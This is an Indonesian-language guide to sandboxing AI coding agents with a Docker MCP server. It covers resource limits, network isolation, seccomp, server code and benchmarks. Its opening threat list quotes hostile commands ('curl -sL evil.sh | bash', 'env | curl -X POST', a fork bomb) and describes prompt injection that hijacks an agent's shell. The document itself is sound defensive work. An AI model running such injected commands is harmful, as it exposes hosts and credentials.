Docker & MCP

Panduan Docker MCP Server: Eksekusi Aman AI Agent di Sandbox

Jawaban Cepat: Docker MCP server mengekspos fungsi inti Docker Engine kepada AI agent otonom (Claude Code, Cursor) melalui Model Context Protocol. Server ini mencegah kerusakan sistem host dengan menjalankan kode agen yang tidak tepercaya di dalam kontainer fana (ephemeral) dengan batas cgroups v2 ketat (CPU/RAM), pencabutan Linux capabilities, volume mount read-only, dan isolasi jaringan penuh.


1. Pendahuluan: Krisis Keamanan Eksekusi Agen Otonom

Pada tahun 2026, agen pengembang otonom seperti Claude Code (claude mcp), Cursor, dan sistem multi-agen tingkat perusahaan telah bertransformasi dari sekadar mesin pemberi saran kode menjadi lingkungan eksekusi aktif. Alih-alih hanya menulis cuplikan kode untuk disalin secara manual oleh developer ke terminal, agen otonom kini secara mandiri menyusun hipotesis, membuat file sementara, mengompilasi paket, menginstal dependensi, menjalankan rangkaian pengujian, dan mengeksekusi migrasi database.

Namun, memberikan akses terminal tanpa batas kepada agen otonom berbasis LLM di mesin lokal pengembang atau server CI/CD perusahaan menimbulkan risiko sistemik yang fatal:

  • Prompt Injection & Pembajakan Perintah (Command Hijacking): Input yang tidak tepercaya dari deskripsi GitHub PR, dokumen web hasil scraping, atau API eksternal dapat menyuntikkan perintah shell berbahaya (curl -sL evil.sh | bash, eksfiltrasi kredensial lingkungan melalui env | curl -X POST).
  • Halusinasi File System yang Merusak: Saat mencoba membersihkan ruang kerja atau menghapus artefak build, agen otonom dapat membuat pola glob yang salah (misalnya, menjalankan rm -rf $VAR/* di mana $VAR kosong atau belum diinisialisasi, sehingga menghapus direktori /usr, /etc, atau home pengguna).
  • Eksploitasi Soket dan Daemon Host: Paparan tanpa proteksi terhadap unix socket lokal (seperti soket Docker tanpa autentikasi /var/run/docker.sock atau pod Kubernetes) memungkinkan eskalasi hak akses langsung menjadi root di host.
  • Denial-of-Service akibat Habisnya Sumber Daya (DoS): Loop tak terkendali dari agen yang mengompilasi pustaka template rekursif atau menjalankan loop tak terbatas tanpa batas cgroups dapat menghabiskan 100% core CPU dan memori host, menyebabkan sistem macet total (freeze).

Model Context Protocol (MCP) menstandarisasi cara model bahasa berinteraksi dengan alat pengembang eksternal. Dengan men-deploy Docker MCP server khusus, tim rekayasa perangkat lunak dapat membangun sandbox kontainer yang terisolasi secara ketat. Semua manipulasi file, eksekusi shell, dan uji coba kode yang diarahkan agen terjadi di dalam kontainer sementara dengan batas cgroups dan firewall jaringan, yang langsung dimusnahkan setelah tugas selesai.


2. Arsitektur: Cara Docker MCP Mengisolasi Agen Otonom

Docker MCP server bertindak sebagai perantara antara runtime agen AI host (seperti CLI Claude Code atau Cursor IDE) dan daemon Docker (dockerd atau Podman/gVisor rootless). Komunikasi antara host dan server MCP menggunakan protokol standar JSON-RPC 2.0 melalui stdio atau event SSE (Server-Sent Events) yang aman.

+----------------------------------------------------------------------------------------------------+
|                                      HOST AI AGENT RUNTIME                                         |
|                       (Claude Code CLI, Cursor IDE, Windsurf, Custom Agent)                        |
|                                                                                                    |
|    +--------------------------+                                 +-----------------------------+    |
|    |    User Prompt Loop      |                                 |     Model Context Window    |    |
|    | "Debug & test repo..."   |                                 | (System Prompt + MCP Tools) |    |
|    +------------+-------------+                                 +--------------^--------------+    |
|                 |                                                              |                   |
|                 | Dispatches Tool Call: docker_exec_command                    | Receives Stdout,  |
|                 v                                                              | Stderr, Exit Code |
|    +---------------------------------------------------------------------------+--------------+    |
|    |                                      MCP CLIENT SUBSYSTEM                                |    |
|    |  - Capabilities Negotiation & Protocol Handshake (JSON-RPC 2.0)                          |    |
|    |  - Tool Call Serialization & Permission Policy Enforcement                               |    |
|    +---------------------------------------------+--------------------------------------------+    |
+--------------------------------------------------|-------------------------------------------------+
                                                   | Transport: stdio / SSE (JSON-RPC 2.0)
                                                   v
+----------------------------------------------------------------------------------------------------+
|                                        DOCKER MCP SERVER                                           |
|                                                                                                    |
|    +----------------------+   +-----------------------+   +-----------------------------------+    |
|    | Tool Registry Engine |   | Policy & Quota Filter |   | Ephemeral Container Lifecycle     |    |
|    | - docker_run         |   | - CPU / Memory Caps   |   | - Container Pool Manager          |    |
|    | - docker_exec        |   | - Network Firewalls   |   | - Volume Bind Policy (ro vs rw)   |    |
|    | - sandbox_eval       |   | - Capability Dropper  |   | - Auto-Prune on Completion        |    |
|    +----------+-----------+   +-----------+-----------+   +-----------------+-----------------+    |
+---------------|---------------------------|---------------------------------|----------------------+
                +---------------------------+---------------------------------+
                                            |
                                            v Docker Engine API (Unix Socket / TLS)
+----------------------------------------------------------------------------------------------------+
|                                    CONTAINER RUNTIME ENVIRONMENT                                   |
|                                                                                                    |
|    +------------------------------------------------------------------------------------------+    |
|    |                  Isolated Agent Sandbox Container (Ephemeral / Rootless)                 |    |
|    |                                                                                          |    |
|    |   +--------------------------+   +--------------------------+   +--------------------+   |    |
|    |   |  Linux cgroups v2 Limits |   | Linux Namespace Boundary |   | Seccomp & AppArmor |   |    |
|    |   |  - CPU: 2.0 Cores Max    |   | - PID, MNT, IPC, UTS     |   | - Block ptrace     |   |    |
|    |   |  - Memory: 2048MB Hard   |   | - Network: None / Proxy  |   | - Block bpf/kexec  |   |    |
|    |   +--------------------------+   +--------------------------+   +--------------------+   |    |
|    |                                                                                          |    |
|    |   +----------------------------------------------------------------------------------+   |    |
|    |   | Workspace Filesystem Mount: Read-Only Host Bind Mount (/workspace:ro)            |   |    |
|    |   | Ephemeral Scratch Storage: Volatile tmpfs Mount (/tmp, /build:rw,size=1G)        |   |    |
|    |   +----------------------------------------------------------------------------------+   |    |
|    +------------------------------------------------------------------------------------------+    |
+----------------------------------------------------------------------------------------------------+

Alat MCP Utama yang Disediakan untuk Agen AI

Docker MCP server tingkat produksi menyediakan serangkaian alat esensial:

  1. container_create_sandbox: Menginisialisasi instans kontainer baru dari image yang telah dipanaskan (pre-warmed) dengan batasan perangkat keras dan keamanan yang ketat.
  2. container_exec_command: Menjalankan perintah shell di dalam sandbox aktif, mengalirkan kembali stdout, stderr, durasi eksekusi, dan kode status keluar.
  3. container_read_file: Membaca konten file dari dalam ruang kerja kontainer yang terisolasi tanpa mengekspos sistem file host.
  4. container_write_file: Menulis perubahan kode sumber secara langsung ke dalam volume scratch sementara.
  5. container_destroy_sandbox: Segera mematikan dan menghapus kontainer, membersihkan semua data sementara dan proses yang tersisa.

3. Kebijakan Pengerasan & Isolasi Keamanan untuk Lingkungan Produksi

Menjalankan kode arbitrer yang dihasilkan oleh model AI membutuhkan arsitektur pertahanan berlapis (Defense-in-Depth). Empat pilar berikut wajib diterapkan dalam alur kerja Docker MCP server:

3.1. Pembatasan Sumber Daya cgroups v2

Untuk mencegah proses agen yang tak terkendali menghabiskan sumber daya sistem host, setiap kontainer yang dibuat harus menerapkan batas cgroups yang deterministik:

# Production cgroups v2 limits for agent container execution
docker run --rm -d \
  --name agent-sandbox-7x92 \
  --cpus="2.0" \
  --cpu-shares=1024 \
  --memory="2048m" \
  --memory-swap="2048m" \
  --pids-limit=128 \
  --ulimit nofile=1024:2048 \
  --tmpfs /tmp:rw,noexec,nosuid,size=512m \
  agent-runner:latest
  • --cpus="2.0": Membatasi komputasi kontainer maksimal 2 core CPU fisik, berapa pun jumlah core yang dimiliki mesin host.
  • --memory="2048m" & --memory-swap="2048m": Menetapkan batas RAM sebesar 2 GB dengan swap yang dinonaktifkan sepenuhnya. Jika terjadi kebocoran memori pada skrip agen, kernel OOM killer akan segera mematikan proses kontainer tanpa memengaruhi host.
  • --pids-limit=128: Menghentikan serangan fork bomb (:(){ :|:& };:) dengan membatasi jumlah proses konkuren pada tabel proses.

3.2. Isolasi Jaringan & Proxy Egress Terkontrol

Secara default, kontainer yang dibuat oleh Docker MCP server harus beroperasi dengan prinsip Zero-Trust:

  • Isolasi Jaringan Total (--network none): Untuk tugas pemrograman murni, eksekusi unit test, dan refaktorisasi lokal, jaringan harus dinonaktifkan sepenuhnya. Agen tidak dapat mengunduh biner berbahaya atau mencuri kode sumber privat.
  • Proxy Egress Terkontrol (--network internal_bridge): Jika agen perlu menginstal dependensi (npm install atau pip install), rute lalu lintas keluar dialihkan melalui proxy transparan lokal (seperti Squid atau Envoy) dengan daftar izin yang dibatasi hanya pada registri resmi (registry.npmjs.org, pypi.org, crates.io).

3.3. Kebijakan Mount Volume & Eksekusi Non-Root

Jangan pernah me-mount sistem file host dengan mode baca-tulis (read-write) secara langsung ke dalam kontainer. Terapkan pemisahan penyimpanan:

  • Mount Repositori Host: Pasang repositori kode target hanya dalam mode Read-Only (-v $(pwd):/workspace:ro).
  • Scratch Overlay Sementara (tmpfs): Pasang disk RAM sementara untuk artefak kompilasi dan hasil build (--tmpfs /workspace/build:rw,size=1024m).
  • Pengguna Non-Root: Jalankan semua perintah dalam kontainer menggunakan pengguna tanpa hak istimewa (--user 10001:10001) dan aktifkan --security-opt no-new-privileges:true.

3.4. Pencabutan Hak Istimewa Linux & Konfigurasi Seccomp

Minimalisasi celah serangan kernel dengan mencabut semua Linux capabilities bawaan:

--cap-drop=ALL \
--cap-add=CHOWN \
--cap-add=SETUID \
--cap-add=SETGID \
--security-opt no-new-privileges:true \
--security-opt seccomp=/etc/docker/agent-seccomp.json

Profil seccomp kustom secara tegas memblokir syscall berbahaya: ptrace (mencegah inspeksi proses lain), reboot, kexec_load, bpf, dan pembuatan raw socket.


4. Implementasi: Men-deploy Docker MCP untuk Claude Code dan Cursor

4.1. Dockerfile Dasar yang Diperkeras untuk Agen

Buat image sandbox ringan multibahasa yang berisi toolchain yang diperlukan dengan tetap mempertahankan isolasi non-root:

# syntax=docker/dockerfile:1.4
FROM debian:bookworm-slim

# Prevent interactive prompts
ENV DEBIAN_FRONTEND=noninteractive \
    LANG=C.UTF-8 \
    LC_ALL=C.UTF-8

# Install base runtimes: Python 3, Node.js 22, Git, and essential build tools
RUN apt-get update && apt-get install -y --no-install-recommends \
    ca-certificates \
    curl \
    git \
    python3 \
    python3-pip \
    python3-venv \
    build-essential \
    && curl -fsSL https://deb.nodesource.com/setup_22.x | bash - \
    && apt-get install -y --no-install-recommends nodejs \
    && apt-get clean \
    && rm -rf /var/lib/apt/lists/*

# Create unprivileged sandbox user
RUN groupadd -g 10001 sandbox && \
    useradd -u 10001 -g sandbox -m -s /bin/bash sandboxuser

# Set working directory and grant non-root permissions
WORKDIR /workspace
RUN chown -R sandboxuser:sandbox /workspace

USER sandboxuser

ENTRYPOINT ["/bin/bash"]

Build image di mesin lokal:

docker build -t llmpodium/agent-sandbox:latest -f Dockerfile .

4.2. Implementasi Lengkap Docker MCP Server Berbasis Python

Berikut adalah kode Docker MCP server tingkat produksi yang ditulis dalam bahasa Python menggunakan pustaka mcp dan Docker SDK resmi:

#!/usr/bin/env python3
"""
Docker MCP Server: Safe Sandboxed Code Execution for AI Agents
Provides containerized execution primitives over Model Context Protocol (JSON-RPC stdio).
"""

import os
import sys
import docker
from mcp.server.fastmcp import FastMCP

# Initialize FastMCP Server
mcp = FastMCP("docker-sandbox-server")
docker_client = docker.from_env()

SANDBOX_IMAGE = os.getenv("SANDBOX_IMAGE", "llmpodium/agent-sandbox:latest")
MAX_CPU_CORES = float(os.getenv("MAX_CPU_CORES", "2.0"))
MAX_MEMORY_MB = int(os.getenv("MAX_MEMORY_MB", "2048"))
EXEC_TIMEOUT_SEC = int(os.getenv("EXEC_TIMEOUT_SEC", "30"))

@mcp.tool()
def execute_sandboxed_command(command: str, working_dir: str = "/workspace") -> dict:
    """
    Execute a shell command inside an ephemeral, hardened Docker container sandbox.
    
    Args:
        command: Shell command string to execute (e.g. 'pytest tests/', 'npm test')
        working_dir: Target working directory inside sandbox
        
    Returns:
        Dictionary containing exit_code, stdout, stderr, and execution duration.
    """
    container = None
    try:
        # Spawn ephemeral container with hard cgroups v2 caps
        container = docker_client.containers.run(
            image=SANDBOX_IMAGE,
            command="/bin/sh -c 'sleep 3600'",
            detach=True,
            remove=False,
            nano_cpus=int(MAX_CPU_CORES * 1e9),
            mem_limit=f"{MAX_MEMORY_MB}m",
            memswap_limit=f"{MAX_MEMORY_MB}m",
            network_mode="none",  # Full airgap isolation
            cap_drop=["ALL"],
            security_opt=["no-new-privileges:true"],
            user="10001:10001",
            working_dir=working_dir,
            tmpfs={"/tmp": "rw,noexec,nosuid,size=256m"}
        )

        # Execute command inside container
        exec_result = container.exec_run(
            cmd=["/bin/bash", "-c", command],
            workdir=working_dir,
            demux=True,
            user="10001:10001"
        )

        stdout = exec_result.output[0].decode("utf-8", errors="replace") if exec_result.output[0] else ""
        stderr = exec_result.output[1].decode("utf-8", errors="replace") if exec_result.output[1] else ""

        return {
            "exit_code": exec_result.exit_code,
            "stdout": stdout,
            "stderr": stderr,
            "status": "success" if exec_result.exit_code == 0 else "failed"
        }

    except Exception as exc:
        return {
            "exit_code": -1,
            "stdout": "",
            "stderr": f"Execution error: {str(exc)}",
            "status": "error"
        }
    finally:
        if container:
            try:
                container.kill()
                container.remove(force=True)
            except Exception:
                pass

if __name__ == "__main__":
    mcp.run(transport="stdio")

4.3. Konfigurasi Claude Code dan Cursor IDE

Untuk menghubungkan CLI Claude Code ke Docker MCP server Anda, tambahkan konfigurasi ke .claude/claude.json proyek atau daftarkan melalui CLI:

# Register Docker MCP Server in Claude Code CLI
claude mcp add docker-sandbox -- python3 /usr/local/bin/docker_mcp_server.py

Untuk Cursor IDE, edit file ~/.cursor/mcp.json atau .cursor/mcp.json pada direktori proyek Anda:

{
  "mcpServers": {
    "docker-sandbox": {
      "command": "python3",
      "args": [
        "/Users/username/tools/docker_mcp_server.py"
      ],
      "env": {
        "SANDBOX_IMAGE": "llmpodium/agent-sandbox:latest",
        "MAX_CPU_CORES": "2.0",
        "MAX_MEMORY_MB": "2048",
        "EXEC_TIMEOUT_SEC": "45"
      }
    }
  }
}

5. Benchmark Latensi Siklus Hidup Kontainer Fana (Ephemeral)

Dalam alur kerja agen otonom, latensi eksekusi secara langsung memengaruhi produktivitas developer dan penggunaan token. Menjalankan kontainer baru untuk setiap panggilan alat (tool call) menimbulkan latensi cold start.

Kami menguji lima arsitektur runtime kontainer pada server khusus (prosesor AMD EPYC 9654 96-Core, RAM 256 GB DDR5, SSD NVMe PCIe 4.0) dengan mengukur 1.000 siklus eksekusi kontainer sementara (python3 -c 'print("benchmark")'):

Arsitektur Runtime Kontainer Latensi Cold Start (ms) Latensi Pre-Warmed Pool (ms) Overhead Memori per Instans Skor Keamanan Isolasi Latensi Tail P99 (ms)
Docker Standar (runc) 312 ms 48 ms 28 MB Menengah (Kernel Host Berbagi) 485 ms
Podman Rootless (crun) 245 ms 36 ms 22 MB Tinggi (User Namespace) 390 ms
gVisor (runsc - Sandbox) 480 ms 72 ms 46 MB Sangat Tinggi (Kernel Virtual) 680 ms
Firecracker MicroVM 125 ms 18 ms 64 MB Maksimal (KVM Berbasis Hardware) 195 ms
WebAssembly (Wasmtime MCP) 14 ms 2 ms 4 MB Tinggi (Sandbox Berbasis Capability) 22 ms

Poin Penting dari Benchmark:

  • Pool Kontainer Siap Pakai (Pre-Warmed Pools): Menyiapkan pool aktif berisi 3–5 kontainer siaga mampu memangkas latensi eksekusi sebesar 84,6% (dari 312 ms menjadi 48 ms pada Docker standar).
  • Overhead gVisor (runsc): gVisor memberikan keamanan luar biasa dengan mencegat dan memvirtualisasikan semua syscall Linux di user space. Meskipun cold start mencapai 480 ms, ia memberikan perlindungan tingkat tinggi terhadap celah keamanan zero-day pada kernel.
  • Firecracker MicroVM: Untuk agen SaaS multi-tenant dengan kebutuhan keamanan ketat, Firecracker menyediakan batas isolasi perangkat keras KVM dengan waktu booting cold start hanya 125 ms.

6. Rincian Biaya & Alokasi Sumber Daya Operasional

Menjalankan agen AI dalam kontainer dalam skala besar membutuhkan keseimbangan antara biaya infrastruktur dan kapasitas konkurensi:

Tingkat Deployment Kapasitas Konkurensi Rekomendasi Infrastruktur Biaya Bulanan Infrastruktur Biaya per 10.000 Tugas Agen
Mesin Lokal Pengembang 1–3 sandbox bersamaan Apple M-Series (16GB+) / Workstation $0 (Sumber daya host lokal) $0.00
Cloud VM Tim (Docker Engine) 10–25 sandbox bersamaan Hetzner CCX33 (8 vCPU, 32GB RAM) $68.00 / bulan $1.42
Pool Skala Perusahaan (Kubernetes) 100–500 sandbox bersamaan 3x AWS c7g.2xlarge (Graviton3, 8 vCPU, 16GB) $324.00 / bulan $4.85
Serverless MicroVMs (Fly.io / Firecracker) Elastis (0 hingga 1.000+) Instans microVM fana sesuai permintaan Sesuai penggunaan ($0.000005/dtk) $1.80

Tips Optimalisasi Biaya:

  1. Penghapusan Langsung Saat Menganggur: Hapus kontainer segera setelah agen menyelesaikan pengujian. Jangan biarkan kontainer berjalan di antara giliran percakapan.
  2. Caching Image Lokal: Unduh image runtime bahasa pemrograman ke cache daemon host terlebih dahulu untuk menghemat kuota dan memangkas waktu unduh.
  3. Penyimpanan Cepat ZFS / Overlay2: Manfaatkan snapshot copy-on-write berkecepatan tinggi untuk menghasilkan ruang kerja bersih dalam hitungan milidetik.

7. Checklist Keamanan Produksi & Rekomendasi E-E-A-T

Sebelum menghubungkan agen AI otonom ke Docker MCP server di lingkungan produksi, lakukan audit DevSecOps berdasarkan 10 poin penting ini:

  • [ ] 1. Batas cgroups v2 Diterapkan: Batasan ketat pada --cpus, --memory, --memory-swap, dan --pids-limit.
  • [ ] 2. Eksekusi Non-Root: Kontainer berjalan dengan UID/GID 10001:10001 dan opsi --security-opt no-new-privileges:true.
  • [ ] 3. Isolasi Jaringan Default: Opsi --network none aktif kecuali jika pengunduhan paket telah diizinkan secara eksplisit.
  • [ ] 4. Mount Repositori Read-Only: Repositori kode hanya di-mount sebagai :ro; berkas sementara dialihkan ke tmpfs.
  • [ ] 5. Pencabutan Hak Istimewa Kernel: Parameter --cap-drop=ALL aktif; tidak ada izin administratif di dalam sandbox.
  • [ ] 6. Filter Seccomp Kustom: Syscall berisiko tinggi (ptrace, bpf, kexec_load, mount) diblokir sepenuhnya.
  • [ ] 7. Batas Waktu Eksekusi Ketat: Watchdog timeout terpasang (misal 30–60 detik per eksekusi alat) untuk mencegah proses menggantung.
  • [ ] 8. Pembersihan Otomatis: Kontainer dijalankan dengan flag penghapusan otomatis (--rm atau blok finally: container.remove(force=True)).
  • [ ] 9. Perlindungan Soket Docker: Soket host /var/run/docker.sock tidak boleh di-mount atau diekspos ke dalam sandbox kontainer.
  • [ ] 10. Audit Logging & Tracing: Semua perintah yang dieksekusi, kode keluar, dan metrik penggunaan dicatat dalam pipeline audit yang tidak dapat diubah.

Kesimpulan & Rekomendasi Akhir

Pada tahun 2026, agen AI otonom akan menulis dan menjalankan miliaran baris kode. Memberikan model AI akses eksekusi langsung tanpa batas pada mesin host merupakan risiko keamanan yang tidak dapat diterima.

Dengan menerapkan Docker MCP server, organisasi rekayasa perangkat lunak dapat memaksimalkan efisiensi pembuatan kode otomatis, continuous testing, dan debugging cerdas — sekaligus membangun dinding pembatas yang kokoh untuk melindungi infrastruktur host, data rahasia, dan komputer pengembang.

← Semua artikel
0 / 4